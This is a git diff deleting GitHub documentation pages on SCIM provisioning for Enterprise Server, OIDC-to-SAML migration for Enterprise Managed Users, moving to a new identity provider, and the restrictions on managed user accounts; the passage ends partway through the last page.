/admin/authentication/configuring-user-provisioning-for-your-enterprise - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-user-provisioning-for-your-enterprise - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise - - /admin/managing-iam/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise ---- - -{% data reusables.scim.ghes-beta-note %} - -## About user provisioning for {% data variables.product.prodname_ghe_server %} - -If you use SAML single sign-on (SSO) for {% data variables.location.product_location %}, you can configure SCIM to automatically create or suspend user accounts and grant access to your instance when you assign or unassign the application on your IdP. For more information about SCIM, see [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website. - -If you do not configure user provisioning with SCIM, your IdP will not communicate with {% data variables.product.prodname_ghe_server %} automatically when you assign or unassign the application to a user. Without SCIM, {% data variables.product.prodname_ghe_server %} creates a user account using SAML Just-in-Time (JIT) provisioning the first time someone navigates to {% data variables.product.prodname_ghe_server %} and signs in by authenticating through your IdP. - -To configure provisioning for your enterprise, you must enable provisioning on {% data variables.product.prodname_ghe_server %}, then {% ifversion scim-for-ghes-public-beta %}either {% endif %}install and configure a provisioning application on your IdP{% ifversion scim-for-ghes-public-beta %}, or configure SCIM provisioning manually using {% data variables.product.company_short %}'s REST API endpoints for SCIM{% endif %}. - -## Supported identity providers - -{% ifversion scim-for-ghes-public-beta %} - -{% data reusables.enterprise_user_management.emu-paved-path-iam-integrations %} - -### Partner identity providers - -The following IdPs are partner IdPs. They offer an application that you can use to configure both SAML authentication and SCIM provisioning. - -* Microsoft Entra ID -* Okta -* PingFederate (beta) - -When you use a single partner IdP for both authentication and provisioning, {% data variables.product.company_short %} provides support for the application on the partner IdP and the IdP's integration with {% data variables.product.prodname_dotcom %}. Support for PingFederate is in {% data variables.release-phases.public_preview %}. - -### Other identity management systems - -If you cannot use a single partner IdP for both authentication and provisioning, you can use another identity management system or combination of systems. The system must: - -* Adhere to **{% data variables.product.company_short %}'s integration guidelines** -* Provide **authentication using SAML**, adhering to SAML 2.0 specification -* Provide **user lifecycle management using SCIM**, adhering to the SCIM 2.0 specification and communicating with {% data variables.product.company_short %}'s REST API (see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-with-scim-using-the-rest-api)) - -{% else %} - -During the {% data variables.release-phases.private_preview %}, your account team will provide documentation for the configuration of SCIM for {% data variables.product.prodname_ghe_server %} on a supported IdP. - -{% endif %} - -## How will I manage user lifecycles with SCIM? - -{% data reusables.enterprise_user_management.scim-manages-user-lifecycle %} - -When SCIM is enabled, you will no longer be able to delete, suspend, or promote SCIM-provisioned users directly on {% data variables.product.prodname_ghe_server %}. You must manage these processes from your IdP. - -## What will happen to existing users on my instance? - -If you currently use SAML SSO, and you are enabling SCIM, you should be aware of what happens to existing users during SCIM provisioning. - -* When SCIM is enabled, users with SAML-linked identities will **not be able to sign in** until their identities have been provisioned by SCIM.{% ifversion scim-for-ghes-ga %} You will no longer be able to update the SAML `NameID` of existing users in the site admin dashboard.{% endif %} -* When your instance receives a SCIM request, SCIM identities are matched to existing users by **comparing the `userName` SCIM field with the {% data variables.product.prodname_dotcom %} username**. If a user with a matching username doesn't exist, {% data variables.product.prodname_dotcom %} creates a new user. -* If {% data variables.product.prodname_dotcom %} successfully identifies a user from the IdP, but account details such as email address, first name, or last name don't match, the instance **overwrites the details** with values from the IdP. Any email addresses other than the primary email provisioned by SCIM will also be deleted from the user account. - -## What happens during SAML authentication? - -After an IdP administrator grants a person access to {% data variables.location.product_location %}, the user can authenticate through the IdP to access {% data variables.product.prodname_ghe_server %} using SAML SSO. - -* When a user authenticates through SAML, to associate a user with a SAML identity, {% data variables.product.prodname_dotcom %} compares a normalized `NameID` claim from the IdP (or another value you have configured) to the account's username. For details about normalization, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization). -* If there is no account with a matching username on the instance, the user will fail to sign in. - * To make this match, {% data variables.product.prodname_ghe_server %} compares the SAML `NameId` claim from the IdP to the SCIM `userName` attribute for each user account provisioned by SCIM on the instance. - * Additionally, for Entra ID, {% data variables.product.prodname_ghe_server %} compares the object identifier from the SAML request with an existing SCIM external ID. -* If your environment does not use `NameID` to uniquely identify users, a site administrator can configure custom user attributes for the instance. {% data variables.product.prodname_ghe_server %} will respect this mapping when SCIM is configured. For more information about mapping user attributes, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso). - -{% ifversion scim-for-ghes-public-beta %} - -## What happens if I disable SCIM? - -SCIM will be disabled on your instance if any of the following things happens. - -* The **Enable SCIM configuration** checkbox is unselected on the "Authentication security" page in the enterprise settings. -* The **SAML** radio button is unselected in the "Authentication" section of the Management Console. -* The SAML **Issuer** or **Single sign-on URL** field is updated in the "Authentication" section of the Management Console. - -If SCIM is disabled on the instance: - -* Requests to the SCIM API endpoints on your instance will no longer succeed. -* SCIM-provisioned users will remain unchanged and will not be suspended. -* Site administrators will be able to manage the lifecycle of SCIM-provisioned users, such as suspension and deletion, from the site admin dashboard. -* Users will still be able to sign on via SAML, if enabled. -* Users will be unlinked from their external identity record, and the record will be deleted. - -{% endif %} - -{% ifversion scim-for-ghes-public-beta %} - -## Getting started - -To get started with SCIM, you will: - -1. Complete initial setup, required regardless of which IdP you will use, in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). -1. Configure settings in your IdP. - * If you're using a partner IdP for authentication and provisioning, you'll follow a guide for your IdP. - * Otherwise, you'll set up a SCIM integration with the REST API, as described in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/provisioning-users-and-groups-with-scim-using-the-rest-api). - -{% else %} - -## Prerequisites - -* {% data reusables.saml.ghes-you-must-configure-saml-sso %} - -* You must allow built-in authentication for users who don't have an account on your IdP. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider). - -* Your IdP must support making SCIM calls to a Service Provider (SP). - -* You must have administrative access on your IdP to configure the application for user provisioning for {% data variables.product.prodname_ghe_server %}. - -## Enabling user provisioning for your enterprise - -To perform provisioning actions on your instance, you will create a built-in user account and promote the account to an enterprise owner. - -After you enable SCIM on a {% data variables.product.prodname_ghe_server %} instance, all user accounts are suspended. The built-in user account will continue to perform provisioning actions. After you grant a user access to your instance from your IdP, the IdP will communicate with the instance using SCIM to unsuspend the user's account. - -1. Create a built-in user account to perform provisioning actions on your instance. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider#inviting-users-outside-your-provider-to-authenticate-to-your-instance). -1. Promote the dedicated user account to an enterprise owner. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#adding-an-enterprise-administrator-to-your-enterprise-account). -1. Sign into your instance as the new enterprise owner. -1. Create a {% data variables.product.pat_v1 %} with **admin:enterprise** scope. Do not specify an expiration date for the {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - - > [!WARNING] - > Ensure that you don't specify an expiration date for the {% data variables.product.pat_v1 %}. If you specify an expiration date, SCIM will no longer function after the expiration date passes. - - > [!NOTE] - > You'll need this {% data variables.product.pat_generic %} to test the SCIM configuration, and to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions. - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. To enable SCIM, run the commands provided to you by your account manager on {% data variables.contact.contact_enterprise_sales %}. -{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} -1. To validate that SCIM is operational, run the following commands. Replace _PAT FROM STEP 3_ and _YOUR INSTANCE'S HOSTNAME_ with actual values. - - ```shell - $ GHES_PAT="PAT FROM STEP 3" - $ GHES_HOSTNAME="YOUR INSTANCE'S HOSTNAME" - $ curl --location --request GET 'https://$GHES_HOSTNAME/api/v3/scim/v2/Users' \ - --header 'Content-Type: application/scim' \ - --header 'Authorization: Bearer $GHES_PAT' - ``` - - The command should return an empty array. -1. Configure user provisioning in the application for {% data variables.product.prodname_ghe_server %} on your IdP. To request documentation for a supported IdP, contact your account manager on {% data variables.contact.contact_enterprise_sales %}. If your IdP is unsupported, you must create the application and configure SCIM manually. - -{% endif %} diff --git a/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/index.md b/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/index.md deleted file mode 100644 index fe32ad3fe832..000000000000 --- a/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Reconfiguring IAM for Enterprise Managed Users -shortTitle: Reconfigure IAM for managed users -product: '{% data reusables.gated-features.emus %}' -intro: 'If the systems you use for IAM change, you can migrate your users to the new configuration by reconfiguring your managed enterprise.' -versions: - ghec: '*' -topics: - - Enterprise - - Accounts - - Authentication -children: - - /migrating-your-enterprise-to-a-new-identity-provider-or-tenant - - /migrating-from-oidc-to-saml - - /migrating-from-saml-to-oidc -redirect_from: - - /admin/identity-and-access-management/reconfiguring-iam-for-enterprise-managed-users ---- diff --git a/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-from-oidc-to-saml.md b/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-from-oidc-to-saml.md deleted file mode 100644 index c5f0b16c0e05..000000000000 --- a/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-from-oidc-to-saml.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Migrating from OIDC to SAML -shortTitle: Migrate from OIDC to SAML -intro: 'If you''re using OpenID Connect (OIDC) to authenticate members in your {% data variables.enterprise.prodname_emu_enterprise %}, you can migrate to SAML SSO.' -product: '{% data reusables.gated-features.emus %}' -versions: - feature: oidc-for-emu -topics: - - Accounts - - Authentication - - Enterprise - - SSO -redirect_from: - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-oidc-to-saml - - /admin/identity-and-access-management/reconfiguring-iam-for-enterprise-managed-users/migrating-from-oidc-to-saml ---- - -{% data reusables.enterprise-accounts.azure-emu-support-oidc %} - -## About migration of an {% data variables.enterprise.prodname_emu_enterprise %} from OIDC to SAML - -To migrate from OIDC to SAML, you will first disable OIDC, which will suspend all {% data variables.enterprise.prodname_managed_users %}, remove all SCIM-provisioned external groups, and delete linked identities. - -Then, you will configure SAML and SCIM. At this time, users, groups, and identities will be re-provisioned. - -If you're new to {% data variables.product.prodname_emus %} and haven't yet configured authentication for your enterprise, you do not need to migrate and can set up SAML single sign-on (SSO) immediately. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users). - -> [!WARNING] -> {% data reusables.enterprise_user_management.migration-teams-warning %} - -## Prerequisites - -* Your enterprise on {% data variables.product.github %} must currently be configured to use OIDC for authentication. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users). -{% data reusables.emus.migration-roles-prereq %} -{% data reusables.emus.migration-schedule-downtime %} - -## Migrating your enterprise - -{% data reusables.emus.sign-in-as-setup-user %} -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.emus.use-enterprise-recovery-code %} -{% data reusables.enterprise-accounts.identity-provider-tab %} -{% data reusables.enterprise-accounts.sso-configuration %} -1. Deselect **OIDC single sign-on**. -1. Confirm and click **Disable OIDC single sign-on**. -1. Configure SAML authentication and SCIM provisioning. See [Tutorial: Microsoft Entra single sign-on (SSO) integration with GitHub Enterprise Managed User](https://learn.microsoft.com/entra/identity/saas-apps/github-enterprise-managed-user-tutorial) on Microsoft Learn. diff --git a/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-from-saml-to-oidc.md b/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-from-saml-to-oidc.md deleted file mode 100644 index 8a80146574c5..000000000000 --- a/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-from-saml-to-oidc.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Migrating from SAML to OIDC -shortTitle: Migrate from SAML to OIDC -intro: 'If you''re using SAML to authenticate members in your {% data variables.enterprise.prodname_emu_enterprise %}, you can migrate to OpenID Connect (OIDC) and benefit from support for your IdP''s Conditional Access Policy.' -product: '{% data reusables.gated-features.emus %}' -versions: - feature: oidc-for-emu -topics: - - Accounts - - Authentication - - Enterprise - - SSO -redirect_from: - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc - - /admin/identity-and-access-management/reconfiguring-iam-for-enterprise-managed-users/migrating-from-saml-to-oidc ---- - -{% data reusables.enterprise-accounts.azure-emu-support-oidc %} - -## About migration of an {% data variables.enterprise.prodname_emu_enterprise %} from SAML to OIDC - -If your {% data variables.enterprise.prodname_emu_enterprise %} uses SAML SSO to authenticate with Entra ID, you can migrate to OIDC. {% data reusables.enterprise-accounts.emu-cap-validates %} - -{% data reusables.enterprise-accounts.emu-cap-public-preview %} - -When you migrate from SAML to OIDC, {% data variables.enterprise.prodname_managed_users %} and groups that were previously provisioned for SAML but are not provisioned by the {% data variables.product.prodname_emu_idp_oidc_application %} application will have "(SAML)" appended to their display names. - -If you're new to {% data variables.product.prodname_emus %} and haven't yet configured authentication for your enterprise, you do not need to migrate and can set up OIDC single sign-on immediately. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users). - -> [!WARNING] -> {% data reusables.enterprise_user_management.migration-teams-warning %} - -## Prerequisites - -* Your enterprise on {% data variables.product.github %} must currently be configured to use SAML for authentication, with Entra ID as your identity provider (IdP). For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users). -{% data reusables.emus.migration-roles-prereq %} -{% data reusables.emus.migration-schedule-downtime %} - -## Migrating your enterprise - -To migrate your enterprise from SAML to OIDC, you will disable your existing {% data variables.product.prodname_emu_idp_application %} application on Entra ID, prepare and begin the migration as the setup user for your enterprise on {% data variables.product.github %}, then install and configure the new application for OIDC on Entra ID. After the migration is complete and Entra ID provisions your users, the users can authenticate to access your enterprise's resources on {% data variables.product.github %} using OIDC. - -> [!WARNING] -> Migration of your enterprise from SAML to OIDC can take up to an hour. During the migration, users cannot access your enterprise on {% data variables.product.github %}. - -1. Before you begin the migration, sign in to Azure and disable provisioning in the existing {% data variables.product.prodname_emu_idp_application %} application. -1. If you use [Conditional Access (CA) network location policies](https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/location-condition) in Entra ID, and you're currently using an IP allow list with your enterprise account or any of the organizations owned by the enterprise account, disable the IP allow lists. See [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise) and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization). -{% data reusables.emus.sign-in-as-setup-user %} -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.emus.use-enterprise-recovery-code %} -{% data reusables.enterprise-accounts.identity-provider-tab %} -{% data reusables.enterprise-accounts.sso-configuration %} -1. At the bottom of the page, click **Migrate to OpenID Connect single sign-on**. -1. Read the warning, then click **Migrate to OIDC**. -1. Click **Begin OIDC migration**. -{% data reusables.enterprise-accounts.emu-azure-admin-consent %} -1. After you grant consent, a new browser window will open to {% data variables.product.github %} and display a new set of recovery codes for your {% data variables.enterprise.prodname_emu_enterprise %}. Download the codes, then click **Enable OIDC authentication**. -1. Wait for the migration to complete, which can take up to an hour. To check the status of the migration, navigate to your enterprise's authentication security settings page. If "Require SAML authentication" is selected, the migration is still in progress. - - > [!WARNING] - > Do not provision new users from the application on Entra ID during the migration. - -1. In a new tab or window, while signed in as the setup user, create a {% data variables.product.pat_v1 %} with the **scim:enterprise** scope and **no expiration** and copy it to your clipboard. For more information about creating a new token, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token). -1. In the provisioning settings for the {% data variables.product.prodname_emu_idp_oidc_application %} application in the Microsoft Entra admin center, under "Tenant URL", the tenant URL for your enterprise: - * For **{% data variables.product.prodname_dotcom_the_website %}**: `https://api.github.com/scim/v2/enterprises/YOUR_ENTERPRISE`, replacing YOUR_ENTERPRISE with the name of your enterprise account. For example, if your enterprise account's URL is `https://github.com/enterprises/octo-corp`, the name of the enterprise account is `octo-corp`. - * For **{% data variables.enterprise.data_residency_site %}**: `https://api.SUBDOMAIN.ghe.com/scim/v2/enterprises/SUBDOMAIN`, where SUBDOMAIN is your enterprise's subdomain on {% data variables.enterprise.data_residency_site %}. - -1. Under "Secret token", paste the {% data variables.product.pat_v1 %} with the **scim:enterprise** scope that you created earlier. -1. To test the configuration, click **Test Connection**. -1. To save your changes, at the top of the form, click **Save**. -1. In the Microsoft Entra admin center, copy the users and groups from the old {% data variables.product.prodname_emu_idp_application %} application to the new {% data variables.product.prodname_emu_idp_oidc_application %} application. -1. Test your configuration by provisioning a single new user. -1. If your test is successful, start provisioning for all users by clicking **Start provisioning**. diff --git a/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-your-enterprise-to-a-new-identity-provider-or-tenant.md b/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-your-enterprise-to-a-new-identity-provider-or-tenant.md deleted file mode 100644 index 9ab227c82b39..000000000000 --- a/content/admin/managing-iam/reconfiguring-iam-for-enterprise-managed-users/migrating-your-enterprise-to-a-new-identity-provider-or-tenant.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Migrating your enterprise to a new identity provider or tenant -shortTitle: Migrate to new IdP or tenant -intro: 'If your enterprise will use a new identity provider (IdP) or tenant for authentication and provisioning after you initially configure Security Assertion Markup Language (SAML) or OpenID Connect (OIDC) and SCIM, you can migrate to a new configuration.' -product: '{% data reusables.gated-features.emus %}' -permissions: Enterprise owners and people with administrative access to your IdP can migrate your enterprise to a new IdP or tenant. -versions: - feature: idp-tenant-migration -topics: - - Access management - - Accounts - - Administrator - - Authentication - - Enterprise - - SSO -redirect_from: - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-your-enterprise-to-a-new-identity-provider-or-tenant - - /admin/identity-and-access-management/reconfiguring-iam-for-enterprise-managed-users/migrating-your-enterprise-to-a-new-identity-provider-or-tenant ---- - -## About migrations between IdPs and tenants - -While using {% data variables.product.prodname_emus %}, you may need to migrate your enterprise to a new tenant on your IdP, or to a different identity management system. For example, you might be ready to migrate from a test environment to your production environment, or your company may decide to use a new identity system. - -Before you migrate to a new authentication and provisioning configuration, review the prerequisites and guidelines for preparation. When you're ready to migrate, you'll disable authentication and provisioning for your enterprise, then reconfigure both. You cannot edit your existing configuration for authentication and provisioning. - -{% data variables.product.prodname_dotcom %} will delete the existing SCIM identities associated with your enterprise's {% data variables.enterprise.prodname_managed_users %} when authentication is disabled for the enterprise. For more details on the impact of disabling authentication for an enterprise with enterprise managed users, See [AUTOTITLE](/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/disabling-authentication-and-provisioning-for-enterprise-managed-users#about-disabled-authentication-for-enterprise-managed-users). - -After authentication and provisioning is reconfigured at the end of the migration, users and groups must be re-provisioned from the new IdP/tenant. When the users are re-provisioned, {% data variables.product.github %} will compare the normalized SCIM `userName` attribute values to the GitHub usernames (the portion before the `_[shortcode]`) in the enterprise in order to link the SCIM identities from the new IdP/tenant to existing enterprise managed user accounts. For more information, see [AUTOTITLE](/admin/managing-iam/iam-configuration-reference/username-considerations-for-external-authentication#about-normalized-usernames). - -## Prerequisites - -* {% data reusables.enterprise-managed.emu-prerequisite %} -* Review and understand the requirements for integration with {% data variables.product.prodname_emus %} from an external identity management system. To simplify configuration and support, you can use a single partner IdP for a "paved-path" integration. Alternatively, you can configure authentication using a system that adheres to the Security Assertion Markup Language (SAML) 2.0 and System for Cross-domain Identity Management (SCIM) 2.0 standards. For more information, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users#about-authentication-and-user-provisioning). -* You must have already configured authentication and SCIM provisioning for your enterprise. - -## Preparing for migration - -To migrate to a new configuration for authentication and provisioning, you must first disable authentication and provisioning for your enterprise. Before you disable your existing configuration, review the following considerations: - -* Before you migrate, determine whether the values of the normalized SCIM `userName` attribute will remain the same for {% data variables.enterprise.prodname_managed_users %} in the new environment. These normalized SCIM `userName` attribute values must remain the same for users in order for the SCIM identities provisioned from the new IdP/tenant to get properly linked to the existing enterprise managed user accounts. For more information, see [AUTOTITLE](/admin/identity-and-access-management/iam-configuration-reference/username-considerations-for-external-authentication). - - * If the normalized SCIM `userName` values will remain the same after the migration, you can complete the migration yourself. - * If the normalized SCIM `userName` values will change after the migration, {% data variables.product.company_short %} will need to help with your migration. For more information, see [Migrating when the normalized SCIM `userName` values will change](#migrating-when-the-normalized-scim-username-values-will-change). -* Do not remove any users or groups from the application for {% data variables.product.prodname_emus %} on your identity management system until after your migration is complete. -* {% data variables.product.github %} will delete any {% data variables.product.pat_generic_plural %} or SSH keys associated with your enterprise's {% data variables.enterprise.prodname_managed_users %}. Plan for a migration window after reconfiguration during which you can create and provide new credentials to any external integrations. -* As part of the migration steps below, {% data variables.product.github %} will delete all of the SCIM-provisioned groups in your enterprise when authentication is disabled for the enterprise. For more information, see [AUTOTITLE](/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/disabling-authentication-and-provisioning-for-enterprise-managed-users#about-disabled-authentication-for-enterprise-managed-users). - -If any of these SCIM-provisioned IdP groups are linked to teams in your enterprise, this will remove the link between these teams on {% data variables.product.prodname_dotcom %} and IdP groups, and these links are not automatically reinstated after the migration. {% data variables.product.prodname_dotcom %} will also remove all members from the previously linked teams. You may experience disruption if you use groups on your identity management system to manage access to organizations or licenses. {% data variables.product.github %} recommends that you use the REST API to list team connections and group membership before you migrate, and to reinstate connections afterwards. For more information, see [AUTOTITLE](/rest/teams/external-groups) in the REST API documentation. - -## Migrating to a new IdP or tenant - -To migrate to a new IdP or tenant, you must complete the following tasks. - -1. [Validate matching SCIM `userName` attributes](#1-validate-matching-scim-username-attributes). -1. [Download single sign-on recovery codes](#2-download-single-sign-on-recovery-codes). -1. [Disable provisioning on your current IdP](#3-disable-provisioning-on-your-current-idp). -1. [Disable authentication for your enterprise](#4-disable-authentication-for-your-enterprise). -1. [Validate suspension of your enterprise's members](#5-validate-suspension-of-your-enterprises-members). -1. [Reconfigure authentication and provisioning](#6-reconfigure-authentication-and-provisioning). - -### 1. Validate matching SCIM `userName` attributes - -For a seamless migration, ensure that the SCIM `userName` attribute on your new SCIM provider matches the attribute on your old SCIM provider. If these attributes don't match, see [Migrating when the normalized SCIM `userName` values will change](#migrating-when-the-normalized-scim-username-values-will-change). - -### 2. Download single sign-on recovery codes - -If you don't already have single sign-on recovery codes for your enterprise, download the codes now. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes). - -### 3. Disable provisioning on your current IdP - -1. On your current IdP, deactivate provisioning in the application for {% data variables.product.prodname_emus %}. - * If you use Entra ID, navigate to the "Provisioning" tab of the application, and then click **Stop provisioning**. - * If you use Okta, navigate to the "Provisioning" tab of the application, click the **Integration** tab, and then click **Edit**. Deselect **Enable API integration**. - * If you use PingFederate, navigate to the channel settings in the application. From the **Activation & Summary** tab, click **Active** or **Inactive** to toggle the provisioning status, and then click **Save**. For more information about managing provisioning, see [Reviewing channel settings](https://docs.pingidentity.com/pingfederate/11.2/administrators_reference_guide/help_saaschanneltasklet_saasactivationstate.html) and [Managing channels](https://docs.pingidentity.com/pingfederate/latest/administrators_reference_guide/help_saasmanagementtasklet_saasmanagementstate.html) in the PingFederate documentation. - * If you use another identity management system, consult the system's documentation, support team, or other resources. - -### 4. Disable authentication for your enterprise - -1. Use a recovery code to sign into {% data variables.product.prodname_dotcom %} as the setup user, whose username is your enterprise's shortcode suffixed with `_admin`. For more information about the setup user, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). -1. Disable authentication for your enterprise. For more information, see [AUTOTITLE](/admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users/disabling-authentication-for-enterprise-managed-users#disabling-authentication). -1. Wait up to an hour for {% data variables.product.github %} to suspend your enterprise's members, delete the linked SCIM identities, and delete the SCIM-provisioned IdP groups. - -### 5. Validate suspension of your enterprise's members - -After you disable authentication in your {% data variables.product.github %} enterprise settings, {% data variables.product.github %} will suspend all of the {% data variables.enterprise.prodname_managed_users %} (with the exception of the setup user account) in your enterprise. You can validate suspension of your enterprise's members on {% data variables.product.prodname_dotcom %}. - -1. View the suspended members in your enterprise. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-suspended-members). -1. If all of the managed user accounts in your enterprise are not yet suspended, continue waiting and monitoring in {% data variables.product.prodname_dotcom %} before proceeding with the next step. - -### 6. Reconfigure authentication and provisioning - -After you validate the suspension of your enterprise's members, reconfigure authentication and provisioning. - -1. Configure authentication using SAML or OIDC SSO. For more information, see [AUTOTITLE](/admin/identity-and-access-management/configuring-authentication-for-enterprise-managed-users). -1. Configure SCIM provisioning. For more information, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users). - -### 7. Make sure users and groups are reprovisioned from the new IdP/tenant - -1. To unsuspend your {% data variables.enterprise.prodname_managed_users %} and allow them to sign in to {% data variables.product.github %}, the users must be reprovisioned from the new IdP/tenant. This links the SCIM identities from the new IdP/tenant to the existing enterprise managed user accounts. An enterprise managed user must have a linked SCIM identity in order to sign in. - * When reprovisioning the IdP user accounts, if a user has been successfully linked to their SCIM identity from the new IdP/tenant, you will see an `SSO identity linked` link on their page in your enterprise settings, which will show a `SCIM identity` section with SCIM attributes. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise). - * You can also review related `external_identity.*` and `user.unsuspend` events in the enterprise audit log. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) -1. Groups must be reprovisioned from the new IdP/tenant as well. - * When reprovisioning the IdP groups, monitor the progress in {% data variables.product.prodname_dotcom %}, and review related `external_group.provision`, `external_group.scim_api_failure`, and `external_group.scim_api_success` events in the enterprise audit log. For more information, see [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/managing-team-memberships-with-identity-provider-groups#viewing-idp-groups-group-membership-and-connected-teams) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#external_group). -1. Once IdP groups have been reprovisioned to the enterprise, admins can link the groups to teams in the enterprise as needed. - -## Migrating when the normalized SCIM `userName` values will change - -If the normalized SCIM `userName` values will change, {% data variables.product.company_short %} must provision a new enterprise account for your migration. [Contact our sales team](https://github.com/enterprise/contact) for help. diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts.md b/content/admin/managing-iam/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts.md deleted file mode 100644 index 69b87ec9501c..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Abilities and restrictions of managed user accounts -shortTitle: Restrictions for managed users -intro: 'Learn what users can and cannot do if you manage accounts from an identity provider (IdP).' -versions: - ghec: '*' -type: reference -topics: - - Accounts - - Enterprise - - Fundamentals -redirect_from: - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/abilities-and-restrictions-of-managed-user-accounts - - /admin/identity-and-access-management/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts ---- - -With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% data variables.enterprise.prodname_managed_users_caps %} can contribute only to private and internal repositories within their enterprise and their own private repositories. On {% data variables.product.prodname_dotcom_the_website %}, they have read-only access to the wider {% data variables.product.prodname_dotcom %} community. These visibility and access restrictions apply to all requests, including API requests. - -## Authentication - -* {% data variables.enterprise.prodname_managed_users_caps %} authenticate using only your identity provider, and have no password or two-factor authentication methods stored on {% data variables.product.prodname_dotcom %}. As a result, they do not see the sudo prompt when taking sensitive actions. - -## {% data variables.product.prodname_actions %} - -* {% data variables.enterprise.prodname_managed_users_caps %} cannot create workflow templates for {% data variables.product.prodname_actions %}. -* While {% data variables.product.company_short %}-hosted runners can be used in repositories owned by organizations, they are not available for repositories owned by {% data variables.enterprise.prodname_managed_users %}. -* {% data variables.product.prodname_emus %} can trigger workflows in organizations where they are not members by forking the organization repository, then creating a pull request targeting the organization repository. - -## {% data 